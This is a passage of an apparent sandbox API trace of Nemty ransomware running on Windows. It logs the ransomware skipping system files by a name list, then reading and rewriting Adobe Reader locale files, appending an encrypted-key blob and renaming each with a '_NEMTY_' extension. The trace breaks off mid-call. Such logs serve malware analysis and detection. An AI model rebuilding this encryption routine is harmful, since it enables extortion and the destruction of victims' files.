dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2e8 [0177.589] GetFileSizeEx (in: hFile=0x2e8, lpFileSize=0x653e830 | out: lpFileSize=0x653e830*=75264) returned 1 [0177.589] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x12600) returned 0x6352c48 [0177.589] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0177.589] ReadFile (in: hFile=0x2e8, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x12600, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653e824*=0x12600, lpOverlapped=0x0) returned 1 [0177.596] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0177.596] WriteFile (in: hFile=0x2e8, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0x12600, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653e81c*=0x12600, lpOverlapped=0x0) returned 1 [0177.596] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0177.596] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=75264, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x12600 [0177.596] WriteFile (in: hFile=0x2e8, lpBuffer=0x63400f0*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x63400f0*, lpNumberOfBytesWritten=0x653e81c*=0x167, lpOverlapped=0x0) returned 1 [0177.596] CloseHandle (hObject=0x2e8) returned 1 [0177.596] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340260 [0177.596] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0177.596] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0177.596] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ece0, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0177.596] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed30 [0177.596] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0177.596] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x6340308 [0177.596] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x106) returned 0x63403c0 [0177.596] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340308 | out: hHeap=0x4f90000) returned 1 [0177.597] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed30 | out: hHeap=0x4f90000) returned 1 [0177.597] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\hr_HR\\MakeAccessible.HRV" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\hr_hr\\makeaccessible.hrv"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\hr_HR\\MakeAccessible.HRV._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\hr_hr\\makeaccessible.hrv._nemty_kgobjgd_")) returned 1 [0177.597] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63403c0 | out: hHeap=0x4f90000) returned 1 [0177.597] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340260 | out: hHeap=0x4f90000) returned 1 [0177.597] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0177.597] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0177.597] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0177.597] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0177.597] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0177.597] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0177.597] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0177.597] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0177.597] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d7e1b00, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x13c00, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="Multimedia.HRV", cAlternateFileName="MULTIM~1.HRV")) returned 1 [0177.597] lstrcmpiW (lpString1="Multimedia.HRV", lpString2=".") returned 1 [0177.597] lstrcmpiW (lpString1="Multimedia.HRV", lpString2="..") returned 1 [0177.597] lstrcmpiW (lpString1="Multimedia.HRV", lpString2="...") returned 1 [0177.597] lstrcmpiW (lpString1="Multimedia.HRV", lpString2="windows") returned -1 [0177.597] lstrcmpiW (lpString1="Multimedia.HRV", lpString2="$RECYCLE.BIN") returned 1 [0177.597] lstrcmpiW (lpString1="Multimedia.HRV", lpString2="rsa") returned -1 [0177.597] lstrcmpiW (lpString1="Multimedia.HRV", lpString2="NTDETECT.COM") returned -1 [0177.598] lstrcmpiW (lpString1="Multimedia.HRV", lpString2="ntldr") returned -1 [0177.598] lstrcmpiW (lpString1="Multimedia.HRV", lpString2="MSDOS.SYS") returned 1 [0177.598] lstrcmpiW (lpString1="Multimedia.HRV", lpString2="IO.SYS") returned 1 [0177.598] lstrcmpiW (lpString1="Multimedia.HRV", lpString2="boot.ini") returned 1 [0177.598] lstrcmpiW (lpString1="Multimedia.HRV", lpString2="boot.ini") returned 1 [0177.598] lstrcmpiW (lpString1="Multimedia.HRV", lpString2="AUTOEXEC.BAT") returned 1 [0177.598] lstrcmpiW (lpString1="Multimedia.HRV", lpString2="ntuser.dat") returned -1 [0177.598] lstrcmpiW (lpString1="Multimedia.HRV", lpString2="desktop.ini") returned 1 [0177.598] lstrcmpiW (lpString1="Multimedia.HRV", lpString2="CONFIG.SYS") returned 1 [0177.598] lstrcmpiW (lpString1="Multimedia.HRV", lpString2="RECYCLER") returned -1 [0177.598] lstrcmpiW (lpString1="Multimedia.HRV", lpString2="BOOTSECT.BAK") returned 1 [0177.598] lstrcmpiW (lpString1="Multimedia.HRV", lpString2="bootmgr") returned 1 [0177.598] lstrcmpiW (lpString1="Multimedia.HRV", lpString2="programdata") returned -1 [0177.598] lstrcmpiW (lpString1="Multimedia.HRV", lpString2="appdata") returned 1 [0177.598] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0177.598] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Multimedia.HRV", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0177.598] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Multimedia.HRV", cchWideChar=14, lpMultiByteStr=0x653e890, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Multimedia.HRV", lpUsedDefaultChar=0x0) returned 14 [0177.598] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0177.598] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Multimedia.HRV", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0177.598] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Multimedia.HRV", cchWideChar=14, lpMultiByteStr=0x653e890, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Multimedia.HRV", lpUsedDefaultChar=0x0) returned 14 [0177.598] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0177.598] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0177.598] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0177.598] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Multimedia.HRV", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0177.598] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Multimedia.HRV", cchWideChar=14, lpMultiByteStr=0x653e8e0, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Multimedia.HRV", lpUsedDefaultChar=0x0) returned 14 [0177.598] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0177.598] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0177.598] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Multimedia.HRV", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0177.598] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Multimedia.HRV", cchWideChar=14, lpMultiByteStr=0x653e918, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Multimedia.HRV", lpUsedDefaultChar=0x0) returned 14 [0177.598] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0177.598] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340048 [0177.598] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94310 | out: hHeap=0x4f90000) returned 1 [0177.599] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94310 [0177.599] Sleep (dwMilliseconds=0x5) [0177.604] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x1d81cb10, dwHighDateTime=0x1d561e8)) [0177.604] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x1d81cb10, dwHighDateTime=0x1d561e8)) [0177.604] GetLastError () returned 0x0 [0177.604] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0177.604] GetLastError () returned 0x0 [0177.604] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0177.604] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0177.604] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0177.604] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e5e0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e5e0*=0x100) returned 1 [0177.604] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x10, dwBufLen=0x100 | out: pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x100) returned 1 [0177.604] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e5dc | out: pszString=0x0, pcchString=0x653e5dc) returned 1 [0177.604] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x63400f0 [0177.604] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x63400f0, pcchString=0x653e5dc | out: pszString="fJw9OPkzMQXB0pkaVMtVuNSN2hz22tad6q3LcVgpQOd8m97caWmJNCR19Tus38V0\r\nt8uq9BL73zFmyQmm8CpvRgdbl2gjVvzIKw032DuLyCMJvUt1NPruq9mdZh0gfZXQ\r\nEbAPa/j5KshJSMymanFueh352r9eYXsJrHKlSg/9VlGwMFjE1MAkRra603CwSKup\r\nJQu0tb6mTwb8bJ2AZnaVnHus1g3n4bbxgyCOQhlptMJhMhAENtRZrkRMLSjh+SD9\r\nMKUPKfreXY5kjHjTNL8F5Wi7YHW5tWitlvIYLhG+bIYN5u7uhVdCIS8I2+ky5MOe\r\nPmrUnEDIUXu8hjy+fo6SGg==\r\n", pcchString=0x653e5dc) returned 1 [0177.604] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0177.604] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0177.604] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0177.604] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0177.604] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x63400f0 [0177.604] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0177.605] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\hr_HR\\Multimedia.HRV" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\hr_hr\\multimedia.hrv"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2e8 [0177.605] GetFileSizeEx (in: hFile=0x2e8, lpFileSize=0x653e830 | out: lpFileSize=0x653e830*=80896) returned 1 [0177.605] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x13c00) returned 0x6352c48 [0177.605] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0177.606] ReadFile (in: hFile=0x2e8, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x13c00, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653e824*=0x13c00, lpOverlapped=0x0) returned 1 [0177.612] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0177.612] WriteFile (in: hFile=0x2e8, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0x13c00, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653e81c*=0x13c00, lpOverlapped=0x0) returned 1 [0177.612] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0177.612] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=80896, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x13c00 [0177.612] WriteFile (in: hFile=0x2e8, lpBuffer=0x63400f0*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x63400f0*, lpNumberOfBytesWritten=0x653e81c*=0x167, lpOverlapped=0x0) returned 1 [0177.612] CloseHandle (hObject=0x2e8) returned 1 [0177.612] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340260 [0177.612] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0177.612] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0177.612] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed08, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0177.613] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0177.613] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0177.613] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340308 [0177.613] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x63403b0 [0177.613] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340308 | out: hHeap=0x4f90000) returned 1 [0177.613] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0177.613] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\hr_HR\\Multimedia.HRV" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\hr_hr\\multimedia.hrv"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\hr_HR\\Multimedia.HRV._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\hr_hr\\multimedia.hrv._nemty_kgobjgd_")) returned 1 [0177.613] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63403b0 | out: hHeap=0x4f90000) returned 1 [0177.613] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340260 | out: hHeap=0x4f90000) returned 1 [0177.613] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0177.613] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0177.613] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0177.613] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0177.613] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0177.613] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94310 | out: hHeap=0x4f90000) returned 1 [0177.613] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7db27940, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x2e00, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="PDDom.HRV", cAlternateFileName="")) returned 1 [0177.613] lstrcmpiW (lpString1="PDDom.HRV", lpString2=".") returned 1 [0177.613] lstrcmpiW (lpString1="PDDom.HRV", lpString2="..") returned 1 [0177.613] lstrcmpiW (lpString1="PDDom.HRV", lpString2="...") returned 1 [0177.614] lstrcmpiW (lpString1="PDDom.HRV", lpString2="windows") returned -1 [0177.614] lstrcmpiW (lpString1="PDDom.HRV", lpString2="$RECYCLE.BIN") returned 1 [0177.614] lstrcmpiW (lpString1="PDDom.HRV", lpString2="rsa") returned -1 [0177.614] lstrcmpiW (lpString1="PDDom.HRV", lpString2="NTDETECT.COM") returned 1 [0177.614] lstrcmpiW (lpString1="PDDom.HRV", lpString2="ntldr") returned 1 [0177.614] lstrcmpiW (lpString1="PDDom.HRV", lpString2="MSDOS.SYS") returned 1 [0177.614] lstrcmpiW (lpString1="PDDom.HRV", lpString2="IO.SYS") returned 1 [0177.614] lstrcmpiW (lpString1="PDDom.HRV", lpString2="boot.ini") returned 1 [0177.614] lstrcmpiW (lpString1="PDDom.HRV", lpString2="boot.ini") returned 1 [0177.614] lstrcmpiW (lpString1="PDDom.HRV", lpString2="AUTOEXEC.BAT") returned 1 [0177.614] lstrcmpiW (lpString1="PDDom.HRV", lpString2="ntuser.dat") returned 1 [0177.614] lstrcmpiW (lpString1="PDDom.HRV", lpString2="desktop.ini") returned 1 [0177.614] lstrcmpiW (lpString1="PDDom.HRV", lpString2="CONFIG.SYS") returned 1 [0177.614] lstrcmpiW (lpString1="PDDom.HRV", lpString2="RECYCLER") returned -1 [0177.614] lstrcmpiW (lpString1="PDDom.HRV", lpString2="BOOTSECT.BAK") returned 1 [0177.614] lstrcmpiW (lpString1="PDDom.HRV", lpString2="bootmgr") returned 1 [0177.614] lstrcmpiW (lpString1="PDDom.HRV", lpString2="programdata") returned -1 [0177.614] lstrcmpiW (lpString1="PDDom.HRV", lpString2="appdata") returned 1 [0177.614] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0177.614] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="PDDom.HRV", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0177.614] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="PDDom.HRV", cchWideChar=9, lpMultiByteStr=0x653e890, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="PDDom.HRV", lpUsedDefaultChar=0x0) returned 9 [0177.614] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0177.614] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="PDDom.HRV", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0177.614] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="PDDom.HRV", cchWideChar=9, lpMultiByteStr=0x653e890, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="PDDom.HRV", lpUsedDefaultChar=0x0) returned 9 [0177.614] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0177.614] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0177.614] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0177.614] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="PDDom.HRV", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0177.614] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="PDDom.HRV", cchWideChar=9, lpMultiByteStr=0x653e8e0, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="PDDom.HRV", lpUsedDefaultChar=0x0) returned 9 [0177.614] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0177.614] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0177.614] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="PDDom.HRV", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0177.614] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="PDDom.HRV", cchWideChar=9, lpMultiByteStr=0x653e918, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="PDDom.HRV", lpUsedDefaultChar=0x0) returned 9 [0177.614] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0177.615] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346f28 [0177.615] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0177.615] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346d60 [0177.615] Sleep (dwMilliseconds=0x5) [0177.621] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x1d842c70, dwHighDateTime=0x1d561e8)) [0177.621] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x1d842c70, dwHighDateTime=0x1d561e8)) [0177.621] GetLastError () returned 0x0 [0177.621] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0177.621] GetLastError () returned 0x0 [0177.621] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0177.621] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0177.621] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0177.621] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e5e0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e5e0*=0x100) returned 1 [0177.621] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x10, dwBufLen=0x100 | out: pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x100) returned 1 [0177.621] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e5dc | out: pszString=0x0, pcchString=0x653e5dc) returned 1 [0177.621] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6340048 [0177.621] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x6340048, pcchString=0x653e5dc | out: 